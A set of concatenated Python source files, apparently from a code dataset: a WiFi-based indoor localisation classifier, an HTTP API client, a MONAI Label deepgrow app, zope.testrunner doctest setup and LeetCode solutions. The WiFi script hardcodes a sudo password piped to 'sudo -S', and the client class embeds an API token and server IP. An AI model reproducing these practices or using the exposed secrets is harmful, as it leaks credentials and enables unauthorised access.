sklearn.neural_network import MLPClassifier\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import scale\n\n# Never hardcode your password!\nsudo_pass = '45AM15lr3990'\ninterface = 'wlx74da38ef3fbd'\n# interface = 'wlp59s0'\n# iwlist cmd\ncmd = 'sudo iwlist ' + interface + ' scan'\n\namur = '34:41:5D:9E:EF:2B'\ntaswlan = '80:1F:02:EE:3B:0F'\n\nlab_vorne_file = 'lab_vorne.csv'\nlab_hinten_file = 'lab_hinten.csv'\nlab_file = 'lab.csv'\ngang_lab_file = 'gang_lab.csv'\ngang_hinten_file = 'gang_hinten.csv'\ngang_notaus_file = 'gang_notaus.csv'\ntreppen_file = 'treppen.csv'\n\n\nbssids = np.loadtxt('bssids.csv', dtype=str)\n\nlab_vorne = np.loadtxt(lab_vorne_file, dtype=float)\nlab_hinten = np.loadtxt(lab_hinten_file, dtype=float)\n# lab = np.loadtxt(lab_file, dtype=float)\ngang_lab = np.loadtxt(gang_lab_file, dtype=float)\ngang_hinten = np.loadtxt(gang_hinten_file, dtype=float)\ngang_notaus = np.loadtxt(gang_notaus_file, dtype=float)\ntreppen = np.loadtxt(treppen_file, dtype=float)\n\ndata = lab_vorne\ndata = np.append(data, lab_hinten, axis=0)\n# data = np.append(data, np.loadtxt(lab_file, dtype=float), axis=0)\ndata = np.append(data, gang_lab, axis=0)\ndata = np.append(data, gang_hinten, axis=0)\ndata = np.append(data, gang_notaus, axis=0)\ndata = np.append(data, treppen, axis=0)\n\nlbls = np.array(['lab_vorne']*lab_vorne.shape[0] + ['lab_hinten']*lab_hinten.shape[0] + ['gang_lab']*gang_lab.shape[0] + ['gang_hinten']*gang_hinten.shape[0] + ['gang_notaus']*gang_notaus.shape[0] + ['treppen']*treppen.shape[0])\n# lbls = np.array(['lab']*(lab_vorne.shape[0] + lab_hinten.shape[0]) + ['gang']*(gang_lab.shape[0] + gang_hinten.shape[0] + gang_notaus.shape[0]) + ['treppen']*treppen.shape[0])\ndata = scale(data)\nprint('data.shape:', data.shape)\n# random.seed(2)\ntest = data[0].reshape(1, -1)\nnp.delete(data, 0)\ntest_lbl = [lbls[0]]\nnp.delete(lbls, 0)\nfor i in range(599):\n r = random.randint(0, data.shape[0]-1)\n test = np.append(test, data[r].reshape(1, -1), axis=0)\n np.delete(data, r)\n test_lbl.append(lbls[r])\n np.delete(lbls, r)\n\n# random.seed(3)\n# layers = (random.randint(9, 900), random.randint(9, 900), random.randint(9, 900))\nlayers = (160, 61)\nprint('layers', layers)\nmlp = MLPClassifier(hidden_layer_sizes=layers, activation='relu', solver='lbfgs', alpha=0.1, verbose=False)\nmlp.fit(data, lbls)\n\n\npca = PCA(n_components=4)\npca.fit(data)\ndata_pca = pca.transform(data)\npca_knn = KNeighborsClassifier(n_neighbors=3)\npca_knn.fit(data_pca, lbls)\ntest_pca = pca.transform(test)\n# pca_score.append(round(pca_knn.score(test_pca, test_lbl), 3))\n\n\nwhile input('Press enter to collect sample') != 'q':\n print('Collecting wifi sample')\n for i in range(3):\n cmd1 = subprocess.Popen(['echo',sudo_pass], stdout=subprocess.PIPE)\n cmd2 = subprocess.Popen(['sudo','-S'] + cmd.split(), stdin=cmd1.stdout, stdout=subprocess.PIPE)\n wifi = cmd2.stdout.read().decode().lower()\n\n # Retreive MAC and signal strength\n wifi = wifi.split('cell')\n dct = {}\n for w in wifi:\n for line in w.split('\\n'):\n words = line.split(' ')\n if 'address:' in words:\n mac = words[-1]\n if 'signal' in words:\n strength = words[-4].split('=')[-1]\n dct[mac] = strength\n \n signal = np.zeros_like(bssids, dtype=int)\n for j, bssid in enumerate(bssids):\n try:\n signal[j] = dct[bssid]\n except KeyError:\n pass\n \n # signal_pca = pca.transform(signal.reshape(1, -1))\n # print('PCA_KNN:', pca_knn.predict(signal_pca))\n print('KNN:', pca_knn.predict(pca.transform(scale(signal.reshape(1, -1)))))\n print('MLP:', mlp.predict(signal.reshape(1, -1)))\n","sub_path":"data_bu/predict_pca_knn.py","file_name":"predict_pca_knn.py","file_ext":"py","file_size_in_byte":3816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"463184012","text":"import urllib.request\nimport urllib.parse\nimport json\n\nclass ClientRequest:\n def __init__(self):\n self.__ApiUserId = 'U548163'\n self.__token = 'yYkf3y1P7CeRV3i9C89cMXgjpq3aN0Qt'\n self.__host = 'http://52.83.191.213:8081/'\n\n\n def url(self, url):\n return self.__host + url\n\n def mergeToken(self, submit_data):\n submit_data['ApiUserId'] = self.__ApiUserId\n submit_data['token'] = self.__token\n return submit_data\n\n def post(self, url, submit_data):\n submit_data = urllib.parse.urlencode(submit_data)\n submit_data = submit_data.encode('utf-8')\n request = urllib.request.Request(url)\n request.add_header(\"Content-Type\",\"application/x-www-form-urlencoded;charset=utf-8\")\n res = urllib.request.urlopen(request, submit_data)\n return res.read().decode('utf-8')\n \n def postJson(self, url, submit_data):\n submit_data = json.dumps(submit_data)\n submit_data = bytes(submit_data, 'utf8')\n request = urllib.request.Request(url)\n request.add_header(\"Content-Type\",\"application/json;charset=utf-8\")\n res = urllib.request.urlopen(request, submit_data)\n return res.read().decode('utf-8')\n \n def postGo(self, url, submit_data):\n url = self.url(url)\n submit_data = self.mergeToken(submit_data)\n return self.post(url, submit_data)\n\n def postXML(self, url, submit_data=''):\n \n request = urllib.request.Request(url)\n request.add_header(\"Content-Type\",\"application/xml;charset=utf-8\")\n submit_data = submit_data.replace('\\r', '').replace('\\n', '')\n res = urllib.request.urlopen(request, submit_data.encode('utf-8'))\n res = res.read().decode('utf-8')\n\n return res\n\nif __name__ == '__main__':\n clientRequest = ClientRequest()\n print(clientRequest.postGo('v1/Dingding/SendText', {'touser': '091716111036380986', 'text': 'aaa'}))\n","sub_path":"python/ClientRequest.py","file_name":"ClientRequest.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"582458256","text":"import copy\nimport json\nimport logging\nimport os\n\nfrom lib import InferDeepgrow, MyStrategy, TrainDeepgrow\nfrom monai.apps import load_from_mmar\n\nfrom monailabel.interfaces import MONAILabelApp\nfrom monailabel.utils.activelearning import Random\nfrom monailabel.utils.infer.deepgrow_pipeline import InferDeepgrowPipeline\n\nlogger = logging.getLogger(__name__)\n\n\nclass MyApp(MONAILabelApp):\n def __init__(self, app_dir, studies):\n self.model_dir = os.path.join(app_dir, \"model\")\n\n self.model_dir_2d = os.path.join(self.model_dir, \"deepgrow_2d\")\n self.final_model_2d = os.path.join(self.model_dir, \"deepgrow_2d\", \"model.pt\")\n self.train_stats_path_2d = os.path.join(self.model_dir, \"deepgrow_2d\", \"train_stats.json\")\n self.mmar_2d = \"clara_pt_deepgrow_2d_annotation_1\"\n\n self.model_dir_3d = os.path.join(self.model_dir, \"deepgrow_3d\")\n self.final_model_3d = os.path.join(self.model_dir, \"deepgrow_3d\", \"model.pt\")\n self.train_stats_path_3d = os.path.join(self.model_dir, \"deepgrow_3d\", \"train_stats.json\")\n self.mmar_3d = \"clara_pt_deepgrow_3d_annotation_1\"\n\n super().__init__(app_dir, studies)\n\n def init_infers(self):\n infers = {\n \"deepgrow_2d\": InferDeepgrow(self.final_model_2d, load_from_mmar(self.mmar_2d, self.model_dir_2d)),\n \"deepgrow_3d\": InferDeepgrow(\n self.final_model_3d,\n load_from_mmar(self.mmar_3d, self.model_dir_3d),\n dimension=3,\n model_size=(128, 192, 192),\n ),\n }\n\n infers[\"deepgrow_pipeline\"] = InferDeepgrowPipeline(\n path=None,\n network=load_from_mmar(self.mmar_2d, self.model_dir_2d),\n model_3d=infers[\"deepgrow_3d\"],\n description=\"Combines Deepgrow 2D model and 3D deepgrow model\",\n )\n return infers\n\n def init_strategies(self):\n return {\n \"random\": Random(),\n \"first\": MyStrategy(),\n }\n\n def train(self, request):\n logger.info(f\"Training request: {request}\")\n\n model = request.get(\"model\", \"deepgrow_2d\")\n models = [\"deepgrow_2d\", \"deepgrow_3d\"] if model == \"all\" else [model]\n logger.info(f\"Selected models for training: {models}\")\n\n tasks = []\n for model in models:\n logger.info(f\"Creating Training task for model: {model}\")\n\n if model == \"deepgrow_2d\":\n mmar = self.mmar_2d\n model_dir = self.model_dir_2d\n final_model = self.final_model_2d\n train_stats_path = self.train_stats_path_2d\n else:\n mmar = self.mmar_3d\n model_dir = self.model_dir_3d\n final_model = self.final_model_3d\n train_stats_path = self.train_stats_path_3d\n\n output_dir = os.path.join(model_dir, request.get(\"name\", \"model_01\"))\n\n # App Owner can decide which checkpoint to load (from existing output folder or from base checkpoint)\n load_path = os.path.join(output_dir, \"model.pt\")\n if not os.path.exists(load_path) and request.get(\"pretrained\", True):\n load_path = None\n network = load_from_mmar(mmar, model_dir)\n else:\n network = load_from_mmar(mmar, model_dir, pretrained=False)\n\n # Datalist for train/validation\n train_d, val_d = self.partition_datalist(self.datastore().datalist(), request.get(\"val_split\", 0.2))\n\n if model == \"deepgrow_3d\":\n task = TrainDeepgrow(\n dimension=3,\n roi_size=(128, 192, 192),\n model_size=(128, 192, 192),\n max_train_interactions=15,\n max_val_interactions=20,\n output_dir=output_dir,\n train_datalist=train_d,\n val_datalist=val_d,\n network=network,\n load_path=load_path,\n publish_path=final_model,\n stats_path=train_stats_path,\n device=request.get(\"device\", \"cuda\"),\n lr=request.get(\"lr\", 0.0001),\n max_epochs=request.get(\"epochs\", 1),\n amp=request.get(\"amp\", True),\n train_batch_size=request.get(\"train_batch_size\", 1),\n val_batch_size=request.get(\"val_batch_size\", 1),\n )\n elif model == \"deepgrow_2d\":\n flatten_train_d = []\n for _ in range(max(request.get(\"2d_train_random_slices\", 20), 1)):\n flatten_train_d.extend(copy.deepcopy(train_d))\n logger.info(f\"After flatten:: {len(train_d)} => {len(flatten_train_d)}\")\n\n flatten_val_d = []\n for _ in range(max(request.get(\"2d_val_random_slices\", 5), 1)):\n flatten_val_d.extend(copy.deepcopy(val_d))\n logger.info(f\"After flatten:: {len(val_d)} => {len(flatten_val_d)}\")\n\n task = TrainDeepgrow(\n dimension=2,\n roi_size=(256, 256),\n model_size=(256, 256),\n max_train_interactions=15,\n max_val_interactions=5,\n output_dir=output_dir,\n train_datalist=flatten_train_d,\n val_datalist=flatten_val_d,\n network=network,\n load_path=load_path,\n publish_path=final_model,\n stats_path=train_stats_path,\n device=request.get(\"device\", \"cuda\"),\n lr=request.get(\"lr\", 0.0001),\n max_epochs=request.get(\"2d_epochs\", 1),\n amp=request.get(\"amp\", True),\n train_batch_size=request.get(\"2d_train_batch_size\", 4),\n val_batch_size=request.get(\"2d_val_batch_size\", 4),\n )\n else:\n raise Exception(f\"Train Definition for {model} Not Found\")\n\n tasks.append(task)\n\n logger.info(f\"Total Train tasks to run: {len(tasks)}\")\n result = None\n for task in tasks:\n result = task()\n return result\n\n def train_stats(self):\n # Return both 2D and 3D stats. Set current running or deepgrow_3d stats as active\n res = {}\n active = {}\n start_ts = 0\n for model in [\"deepgrow_3d\", \"deepgrow_2d\"]:\n train_stats_path = os.path.join(self.model_dir, model, \"train_stats.json\")\n if os.path.exists(train_stats_path):\n with open(train_stats_path, \"r\") as fc:\n r = json.load(fc)\n res[model] = r\n\n # Set current running or last ran model as active\n if not active or r.get(\"current_time\") or r.get(\"start_ts\", 0) > start_ts:\n start_ts = r.get(\"start_ts\", 0)\n active = copy.deepcopy(r)\n\n active.update(res)\n return active\n","sub_path":"sample-apps/generic_deepgrow/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"265549127","text":"##############################################################################\n#\n# Copyright (c) 2004-2008 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Test harness for the test runner itself.\n\"\"\"\nfrom __future__ import print_function\n\nimport re\nimport gc\nimport os\nimport sys\nimport unittest\n\nimport doctest\nfrom zope.testing import renormalizing\n\n\n#separated checkers for the different platform,\n#because it s...s to maintain just one\nif sys.platform == 'win32':\n checker = renormalizing.RENormalizing([\n # 2.5 changed the way pdb reports exceptions\n (re.compile(r\":\"),\n r'exceptions.\\1Error:'),\n\n #rewrite pdb prompt to ... the current location\n #windows, py2.4 pdb seems not to put the '>' on doctest locations\n #therefore we cut it here\n (re.compile('^> doctest[^\\n]+->None$', re.M), '...->None'),\n\n #rewrite pdb prompt to ... the current location\n (re.compile('^> [^\\n]+->None$', re.M), '> ...->None'),\n\n (re.compile(r\"\"),(r'?')),\n (re.compile(r\":\"),\n r'exceptions.\\1Error:'),\n\n # testtools content formatter is used to mime-encode\n # tracebacks when the SubunitOutputFormatter is used, and the\n # resulting text includes a size which can vary depending on\n # the path included in the traceback.\n (re.compile(r'traceback\\n[A-F\\d]+', re.MULTILINE),\n r'traceback\\nNNN'),\n\n (re.compile(\"'[A-Za-z]:\\\\\\\\\"), \"'\"), # hopefully, we'll make Windows happy\n # replaces drives with nothing\n\n (re.compile(r'\\\\\\\\'), '/'), # more Windows happiness\n # double backslashes in coverage???\n\n (re.compile(r'\\\\'), '/'), # even more Windows happiness\n # replaces backslashes in paths\n\n (re.compile(r'/r$', re.MULTILINE), '\\\\r'), # undo some of that\n\n #this is a magic to put linefeeds into the doctest\n (re.compile('##r##\\n'), '\\r'),\n\n (re.compile(r'\\d+[.]\\d\\d\\d seconds'), 'N.NNN seconds'),\n (re.compile(r'\\d+[.]\\d\\d\\d s'), 'N.NNN s'),\n (re.compile(r'\\d+[.]\\d\\d\\d{'), 'N.NNN{'),\n (re.compile(r'\\d{4}-\\d\\d-\\d\\d \\d\\d:\\d\\d:\\d\\d\\.\\d+'),\n 'YYYY-MM-DD HH:MM:SS.mmmmmm'),\n (re.compile('( |\")[^\\n]+testrunner-ex'), r'\\1testrunner-ex'),\n (re.compile('( |\")[^\\n]+testrunner.py'), r'\\1testrunner.py'),\n (re.compile(r'> [^\\n]*(doc|unit)test[.]py\\(\\d+\\)'),\n r'\\1test.py(NNN)'),\n (re.compile(r'[.]py\\(\\d+\\)'), r'.py(NNN)'),\n (re.compile(r'[.]py:\\d+'), r'.py:NNN'),\n (re.compile(r' line \\d+,', re.IGNORECASE), r' Line NNN,'),\n (re.compile(r' line {([a-z]+)}\\d+{', re.IGNORECASE), r' Line {\\1}NNN{'),\n\n # omit traceback entries for unittest.py or doctest.py (and\n # their package variants) from output:\n (re.compile(r'^ +File \"[^\\n]*(doctest|unittest|case)(/__init__)?.py\", [^\\n]+\\n[^\\n]+\\n',\n re.MULTILINE),\n r''),\n (re.compile(r'^{\\w+} +File \"{\\w+}[^\\n]*(doctest|unittest|case)(/__init__)?.py{\\w+}\", [^\\n]+\\n[^\\n]+\\n',\n re.MULTILINE),\n r''),\n #(re.compile('^> [^\\n]+->None$', re.M), '> ...->None'),\n (re.compile('import pdb; pdb'), 'Pdb()'), # Py 2.3\n\n # Python 3 exceptions are from the builtins module\n (re.compile(r'builtins\\.(SyntaxError|TypeError)'),\n r'exceptions.\\1'),\n\n # Python 3.3 has better exception messages\n (re.compile(\"ImportError: No module named '(?:[^']*[.])?([^'.]*)'\"),\n r'ImportError: No module named \\1'),\n\n # PyPy has different exception messages too\n (re.compile(\"ImportError: No module named (?:[a-zA-Z_0-9.]*[.])?([a-zA-Z_0-9]*)\"),\n r'ImportError: No module named \\1'),\n (re.compile(\"NameError: global name '([^']*)' is not defined\"),\n r\"NameError: name '\\1' is not defined\"),\n\n ])\nelse:\n #*nix\n checker = renormalizing.RENormalizing([\n # 2.5 changed the way pdb reports exceptions\n (re.compile(r\":\"),\n r'exceptions.\\1Error:'),\n\n #rewrite pdb prompt to ... the current location\n (re.compile('^> [^\\n]+->None$', re.M), '> ...->None'),\n\n (re.compile(r\"\"),(r'?')),\n (re.compile(r\":\"),\n r'exceptions.\\1Error:'),\n\n #this is a magic to put linefeeds into the doctest\n #on win it takes one step, linux is crazy about the same...\n (re.compile('##r##'), r'\\r'),\n (re.compile(r'\\r'), '\\\\\\\\r\\n'),\n\n (re.compile(r'\\d+[.]\\d\\d\\d seconds'), 'N.NNN seconds'),\n (re.compile(r'\\d+[.]\\d\\d\\d s'), 'N.NNN s'),\n (re.compile(r'\\d+[.]\\d\\d\\d{'), 'N.NNN{'),\n (re.compile(r'\\d{4}-\\d\\d-\\d\\d \\d\\d:\\d\\d:\\d\\d\\.\\d+'),\n 'YYYY-MM-DD HH:MM:SS.mmmmmm'),\n (re.compile('( |\"|\\')[^\\'\\n]+testrunner-ex'), r'\\1testrunner-ex'),\n (re.compile('( |\"|\\')[^\\'\\n]+testrunner.py'), r'\\1testrunner.py'),\n (re.compile(r'> [^\\n]*(doc|unit)test[.]py\\(\\d+\\)'),\n r'\\1test.py(NNN)'),\n (re.compile(r'[.]py\\(\\d+\\)'), r'.py(NNN)'),\n (re.compile(r'[.]py:\\d+'), r'.py:NNN'),\n (re.compile(r' line \\d+,', re.IGNORECASE), r' Line NNN,'),\n (re.compile(r' line {([a-z]+)}\\d+{', re.IGNORECASE), r' Line {\\1}NNN{'),\n\n # testtools content formatter is used to mime-encode\n # tracebacks when the SubunitOutputFormatter is used, and the\n # resulting text includes a size which can vary depending on\n # the path included in the traceback.\n (re.compile(r'traceback\\n[A-F\\d]+', re.MULTILINE),\n r'traceback\\nNNN'),\n\n # omit traceback entries for unittest.py or doctest.py (and\n # their package variants) from output:\n (re.compile(r'^ +File \"[^\\n]*(doctest|unittest|case)(/__init__)?.py\", [^\\n]+\\n[^\\n]+\\n',\n re.MULTILINE),\n r''),\n (re.compile(r'^{\\w+} +File \"{\\w+}[^\\n]*(doctest|unittest|case)(/__init__)?.py{\\w+}\", [^\\n]+\\n[^\\n]+\\n',\n re.MULTILINE),\n r''),\n (re.compile('import pdb; pdb'), 'Pdb()'), # Py 2.3\n\n # Python 3 exceptions are from the builtins module\n (re.compile(r'builtins\\.(SyntaxError|TypeError)'),\n r'exceptions.\\1'),\n\n # Python 3.3 has better exception messages\n (re.compile(\"ImportError: No module named '(?:[^']*[.])?([^'.]*)'\"),\n r'ImportError: No module named \\1'),\n\n # PyPy has different exception messages too\n (re.compile(\"ImportError: No module named (?:[a-zA-Z_0-9.]*[.])?([a-zA-Z_0-9]*)\"),\n r'ImportError: No module named \\1'),\n (re.compile(\"NameError: global name '([^']*)' is not defined\"),\n r\"NameError: name '\\1' is not defined\"),\n\n ])\n\ndef setUp(test):\n test.globs['print_function'] = print_function\n test.globs['saved-sys-info'] = (\n sys.path[:],\n sys.argv[:],\n sys.modules.copy(),\n )\n if hasattr(gc, 'get_threshold'):\n test.globs['saved-gc-threshold'] = gc.get_threshold()\n test.globs['this_directory'] = os.path.split(__file__)[0]\n test.globs['testrunner_script'] = sys.argv[0]\n\n\ndef tearDown(test):\n sys.path[:], sys.argv[:] = test.globs['saved-sys-info'][:2]\n if hasattr(gc, 'get_threshold'):\n gc.set_threshold(*test.globs['saved-gc-threshold'])\n sys.modules.clear()\n sys.modules.update(test.globs['saved-sys-info'][2])\n\n\ndef test_suite():\n suites = [\n doctest.DocFileSuite(\n 'testrunner-arguments.txt',\n 'testrunner-coverage.txt',\n 'testrunner-debugging-layer-setup.test',\n 'testrunner-debugging-import-failure.test',\n 'testrunner-debugging-nonprintable-exc.test',\n 'testrunner-debugging.txt',\n 'testrunner-edge-cases.txt',\n 'testrunner-errors.txt',\n 'testrunner-layers-api.txt',\n 'testrunner-layers-instances.txt',\n 'testrunner-layers-buff.txt',\n 'testrunner-subprocess-errors.txt',\n 'testrunner-layers-cantfind.txt',\n 'testrunner-layers-cwd.txt',\n 'testrunner-layers-ntd.txt',\n 'testrunner-layers-topological-sort.txt',\n 'testrunner-layers.txt',\n 'testrunner-progress.txt',\n 'testrunner-colors.txt',\n 'testrunner-simple.txt',\n 'testrunner-nestedcode.txt',\n 'testrunner-test-selection.txt',\n 'testrunner-verbose.txt',\n 'testrunner-repeat.txt',\n 'testrunner-knit.txt',\n 'testrunner-shuffle.txt',\n 'testrunner-eggsupport.txt',\n 'testrunner-stops-when-stop-on-error.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker=checker),\n doctest.DocTestSuite('zope.testrunner'),\n doctest.DocTestSuite('zope.testrunner.coverage',\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE),\n doctest.DocTestSuite('zope.testrunner.options'),\n doctest.DocTestSuite('zope.testrunner.find'),\n ]\n\n # PyPy uses a different garbage collector\n if hasattr(gc, 'get_threshold'):\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-gc.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker=checker))\n\n # PyPy does not support sourceless imports, apparently (tried version 1.9)\n if 'PyPy' not in sys.version:\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-wo-source.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker=checker))\n\n if sys.platform == 'win32':\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-coverage-win32.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker=checker))\n\n # Python <= 2.4.1 had a bug that prevented hotshot from running in\n # non-optimize mode\n if sys.version_info[:3] > (2,4,1) or not __debug__:\n # some Linux distributions don't include the profiling module (which\n # hotshot.stats depends on)\n try:\n import hotshot.stats\n except ImportError:\n pass\n else:\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-profiling.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker = renormalizing.RENormalizing([\n (re.compile(r'tests_profile[.]\\S*[.]prof'),\n 'tests_profile.*.prof'),\n ]),\n )\n )\n try:\n import cProfile\n import pstats\n except ImportError:\n pass\n else:\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-profiling-cprofiler.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker = renormalizing.RENormalizing([\n (re.compile(r'tests_profile[.]\\S*[.]prof'),\n 'tests_profile.*.prof'),\n ]),\n )\n )\n\n skip_feature = True\n if sys.version_info < (2, 7, 0):\n try:\n import unittest2\n except ImportError:\n skip_feature = False\n\n if skip_feature:\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-report-skipped.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker=checker)\n )\n\n if hasattr(sys, 'gettotalrefcount'):\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-leaks.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker = renormalizing.RENormalizing([\n (re.compile(r'\\d+[.]\\d\\d\\d seconds'), 'N.NNN seconds'),\n (re.compile(r'sys refcount=\\d+ +change=\\d+'),\n 'sys refcount=NNNNNN change=NN'),\n (re.compile(r'sum detail refcount=\\d+ +'),\n 'sum detail refcount=NNNNNN '),\n (re.compile(r'total +\\d+ +\\d+'),\n 'total NNNN NNNN'),\n (re.compile(r\"^ +(int|type) +-?\\d+ +-?\\d+ *\\n\", re.M),\n ''),\n ]),\n\n )\n )\n else:\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-leaks-err.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker=checker,\n )\n )\n\n try:\n import subunit\n except ImportError:\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-subunit-err.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS + doctest.NORMALIZE_WHITESPACE,\n checker=checker))\n else:\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-subunit.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS +\n doctest.NORMALIZE_WHITESPACE +\n doctest.REPORT_NDIFF,\n checker=checker))\n if hasattr(sys, 'gettotalrefcount'):\n suites.append(\n doctest.DocFileSuite(\n 'testrunner-subunit-leaks.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS + doctest.NORMALIZE_WHITESPACE,\n checker=checker))\n\n if sys.version_info[:3] >= (2,7,0):\n # Python 2.7 adds support for unittest.expectedFailure\n suites.append(doctest.DocFileSuite(\n 'testrunner-unexpected-success.txt',\n setUp=setUp, tearDown=tearDown,\n optionflags=doctest.ELLIPSIS+doctest.NORMALIZE_WHITESPACE,\n checker=checker))\n\n return unittest.TestSuite(suites)\n","sub_path":"src/zope/testrunner/tests/test_doctest.py","file_name":"test_doctest.py","file_ext":"py","file_size_in_byte":15069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"490887112","text":"\"\"\"\nmiddle 2021-12-14 2维DP\n题目：求自顶向下的最小路径和。定义dp[i][j]为从点(i,j)到底边的最小路径和\n[i,j]\n[i+1,j] [i+1,j+1]\nhttps://leetcode-cn.com/problems/triangle/solution/di-gui-ji-yi-hua-dp-bi-xu-miao-dong-by-sweetiee/\n需要注意的是，从下到上，那么dp[i]由dp[i+1]转化而来！！！\n\"\"\"\nclass Solution(object):\n def minimumTotal(self, triangle):\n m = len(triangle) # m行m列\n dp = [[0]*(m+1) for _ in range(m+1)] # (i,j)点到底边的最小路径和\n # 初始化边界\n # for j in range(m):\n # dp[m-1][j] = triangle[m-1][j] # 但是triangle没有index=4\n for i in range(m-1, -1, -1):\n for j in range(i, -1, -1):\n # 到达[i,j]的最短路径\n dp[i][j] = min(dp[i+1][j],dp[i+1][j+1])+triangle[i][j]\n ## 从三角形的最后一行开始递推，如下循环也ok\n # for (int i = n - 1; i >= 0; i--) {\n # for (int j = 0; j <= i; j++) {\n return dp[0][0]\n\n # 2022-02-28\n def minimumTotal_mine(self, triangle):\n if not triangle and not triangle[-1]:return 0\n\n m,n=len(triangle),len(triangle[-1])\n dp = [[0]*n for _ in range(m)]\n\n for i in range(n):\n dp[m-1][i] = triangle[m-1][i]\n\n for i in range(m-2,-1,-1): # m行n列\n for j in range(n-1,-1,-1):\n if j>i:continue\n dp[i][j] = min(dp[i+1][j], dp[i+1][j+1])+triangle[i][j]\n return dp[0][0]\n\nif __name__ == '__main__':\n # triangle = [[-10]]\n triangle = [[2],[3,4],[6,5,7],[4,1,8,3]]\n# [2]\n# [3, 4]\n# [6, 5, 7]\n# [4, 1, 8, 3]\n print(Solution().minimumTotal(triangle))","sub_path":"07_动态规划/2维DP/120-三角形最小路径和.py","file_name":"120-三角形最小路径和.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"339447171","text":"#coding=utf-8\n\nimport unittest\n\n\"\"\"\nFlatten Nested List Iterator\n\nGiven a nested list of integers, implement an iterator to flatten it.\n\nEach element is either an integer, or a list -- whose elements may also be integers or other lists.\n\n Notice\n\nYou don't need to implement the remove method.\n\nHave you met this question in a real interview? Yes\nExample\nGiven the list [[1,1],2,[1,1]], By calling next repeatedly until hasNext returns false, the order of elements returned \nby next should be: [1,1,2,1,1].\n\nGiven the list [1,[4,[6]]], By calling next repeatedly until hasNext returns false, the order of elements returned by \nnext should be: [1,4,6].\n\nTags \nStack Recursion Data Structure Design Snapchat Google\nRelated Problems \nMedium Flatten 2D Vector 46 %\nEasy Nested List Weight Sum 45 %\nMedium Zigzag Iterator II 30 %\nMedium Zigzag Iterator 42 %\nEasy Flatten Binary Tree to Linked List\n\n\"\"\"\n\n\n# \"\"\"\n# This is the interface that allows for creating nested lists.\n# You should not implement it, or speculate about its implementation\n# \"\"\"\n# class NestedInteger(object):\n# def isInteger(self):\n# \"\"\"\n# @return {boolean} True if this NestedInteger holds a single integer,\n# rather than a nested list.\n# \"\"\"\n#\n# def getInteger(self):\n# \"\"\"\n# @return {int} the single integer that this NestedInteger holds,\n# if it holds a single integer\n# Return None if this NestedInteger holds a nested list\n# \"\"\"\n#\n# def getList(self):\n# \"\"\"\n# @return {NestedInteger[]} the nested list that this NestedInteger holds,\n# if it holds a nested list\n# Return None if this NestedInteger holds a single integer\n# \"\"\"\n\nclass NestedIterator(object):\n def __init__(self, nestedList):\n # Initialize your data structure here.\n # if not nestedList:\n # raise Exception(\"Can't create iterator over None or empty inputs!\")\n # # ok to raise exception in lintcode, on leetcode just ignore\n self.data = []\n self.idx = 0\n _tmp = [ele for ele in nestedList]\n while _tmp:\n cur = _tmp.pop(0)\n if cur.isInteger():\n self.data.append(cur.getInteger())\n else:\n cur_list = cur.getList()\n for idx, ele in enumerate(cur_list):\n _tmp.insert(idx, ele)\n\n # @return {int} the next element in the iteration\n def next(self):\n # Write your code here\n if self.hasNext():\n self.idx += 1\n return self.data[self.idx - 1]\n\n # @return {boolean} true if the iteration has more element or false\n def hasNext(self):\n # Write your code here\n return self.idx < len(self.data)\n\n\n\n\nclass NestedIterator_wrong(object):\n \"\"\"\n 